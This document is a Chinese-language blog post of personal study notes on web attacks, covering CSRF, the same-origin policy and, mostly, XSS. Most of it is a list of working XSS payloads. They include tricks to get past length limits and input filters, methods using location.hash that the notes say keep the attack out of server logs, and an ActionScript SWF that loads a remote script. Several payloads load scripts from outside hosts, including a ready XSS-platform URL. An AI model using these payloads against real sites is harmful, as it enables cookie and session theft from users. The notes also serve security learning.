web_XSS安全学习

下面是 自己学习时的笔记,各种转载~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

漏洞知识库:

 CSRF 跨站请求伪造 学习

crossdomain.xml 文件来验证是否允许客户端的flash 跨域发送请求,使用的是白名单的思想

使用 token 足够复杂来防御

同源政策

a.com 通过 <script src=http://b.com/b.js></script> 加载了b.com 的b.js 但是b.js 是运行在a.com 页面的所以对于a.com来说,b.js的源就应该是a.com而非b.com

<script> <img> <iframe> <link> 等标签都可以跨域加载资源而不受同源政策的限制,这些带<src> 属性的标签加载时实际上就是由浏览器发起了一次 GET请求

不同于 XMLHttpRequest 的是,通过src 属性加载的资源,浏览器限制了 JAVASCRIPT的权限,使其不能读写返回的内容

flash 通过目标网站提供的crossdomain.xml文件判断是否允许当前“源”的flash跨域访问目标资源,eg:

当浏览器在任意其他域的页面里加载了FLASH后,如果对www.qq.com发起访问请求,flash会先检查 www.qq.com 上此策略文件是否存在。如果文件存在,则检查发起请求的域是否在许可范围内。

在flash 9及其以后的版本中,还实现了MIME检查以确认crossdomain.xml是否合法,如查看服务器返回的HTTP头等信息,FLASH还会检查 crossdomain.xml是否存在根目录下,使得一些上传文件攻击失效

<cross-domain-policy>
  <allow-access-from domainm="*.wooyun.org"/>
  <allow-access-from domainm="*.qq.org"/>
</cross-domain-policy>


2 XSS 学习  CROSS SITE SCRIPT

XXS 构造技巧

检测是否出现 <script>alert("xss")</script>

<iframe οnlοad=alert(document.cookie)>

 <script>alert("xss");</script>

<img src=x οnerrοr=alert(1)>

xxx<script>alert(/xss/);</script>

javascript:alert(document.cookie);

"><img src="a" οnerrοr="prompt">

<div style="background:url('javascript:alert(1)')">

<img src="some.gif" οnlοad="alert('xss');" /> 

<img src=x οnerrοr=jQuery.getScript('hook Address') width=0px> (不让图片显示出来)


%c1";alert(/xss/);//     系统转义了" , 接着%c1\   这两个字符组合在一起后,会成为一个UNICODE字符 从而绕过系统安全检查

工具使用:  市面上的软件(JSky、Safe3WVS、Netsparker等)都可以挖掘出反射XSS

PHP获取IP有3个函数

X-Forwarded-For Header(工具)就是对其中一个函数X_FORWARDED_FOR起作用,X_FORWARDED_FOR

有个缺陷可以使客户端伪造任意IP,当然包括字符串,但是对其他两个函数就不行了

Modify Headers(工具)可以伪造数据包内容,当然也可以伪造HTTP_CLIENT_IP来更改IP

构造IP  为 <script>alert(1)</script>  可以看一些弹框了

XSS不一定是在input输入框和GET/POST参数修改,才可以插入XSS。还有JavaScript、ActionScript2/3.0、数据包参数


学习突破字数限制

限制20字节类型,<input type=text value="xxx" /> 利用事件输入 " οnclick=alert(1)//     实际为 <input type=text value="" οnclick=alert(1)//">


首先先发一篇标题为:”>/*</script>
再发一篇标题为:"><script>alert(/Jin/)/*
拼凑起来 <script>alert(/XSS/)/*xxxxxx*/</script>


同样的思想,可以在限制字符时,第一个文本框小,第二个文本框大,那么直接在两个文本框之间的html代码全部注释掉,从而”打通“两个<input>

第一个输入  "><!--_(空格)  只有6字节     第二个输入  --><script>alert(/xss/);</script>


可以加载其他可控的安全数据位置的数据,EG:

<div id="x">alert%28document.cookie%29%3B</div>
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>

如果没有这些数据,就通过在URL的尾部参数构造要执行的代码,然后在XSS点通过document.URL/location.href等方式获得代码数据执行

http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)

<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
30字节 (上)    或者  31字节 (下)

<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
 或者 29字节 (下)
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
 或者 30字节 (下)
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
或者更少  说明在下面
<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>

location.hash 可以用来获取或设置页面的标签值,不会在HTTP包中发送,所以服务器端的WEB日志中并不会记录下 location.hash 里的内容,从而也更好地隐藏了hacker的意图
<input type=text value="xxx" />  输入40字节 " οnclick="eval(location.hash.substr(1)) 

得到 <input type=text value="" οnclick="eval(location.hash.substr(1))" /> 

#是用来指导浏览器动作的,对服务器端完全无用。所以,HTTP请求中不包括#。

因为location.hash 的第一个值 为 # ,所以构造 url 为 www.xxx.com/test.html#alert(xss)

所以这里的 XSS PAYLOAD 是写在 浏览器的地址栏的。可以直接写在url,也可以利用其它平台上文件来写


还有可以关注函数

function loads(url) {
...
document.body.appendChild(script);
}

<limited_xss_point>loads(http://xxx.com/x);</limited_xss_point>

其他了解

<base> 是个非常危险的标签,如果在页面上插入了它,那么就可以在远程主机上伪造图片,链接或者脚本了(从标签指定的网址上取得到).


window.name  可以实现跨域传输,那么构造 

window.name = "alert(document.cookie)";

location.href = "http://www.xxx.com/xss.php" 只需通过XSS执行 eval(name); 只有11字节


flash XSS  ,Action script 是一种非常强大和灵活的脚本,甚至可以使用它发起网络连接,因此应该尽可能地禁止用户能够上传加载自定义的FLASH文件


看embed 的 allowscriptaccess 参数 是否开启

<embed> 标签定义嵌入的内容,比如插件。 <embed src="http://xxx.com/evil.swf"> </embed>

用  flex builder  编译 as 生产swf然后去执行JS代码,编译修改名为 xxx.as

package {
import flash.display.Sprite;
import flash.external.ExternalInterface;
public class XXX extends Sprite

{
public function XXX()

{
if(flash.external.ExternalInterface.available){

flash.external.ExternalInterface.call("eval","(function(){var s=document.createElement('script');s.type='text/javascript';s.src='http://xxx.com/xxx.js';document.body.appendChild(s);})()");
}
}
}
}
然后可以先上传上去,然后
<embed src="刚才复制的FLASH文件地址" type="application/x-shockwave-flash"></embed>
<img src="刚才复制的FLASH文件地址"></img>



发现地方 处写上    57字节

</textarea>'"><script src=http://xssan.com/9AM3zw?1410919704></script>

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值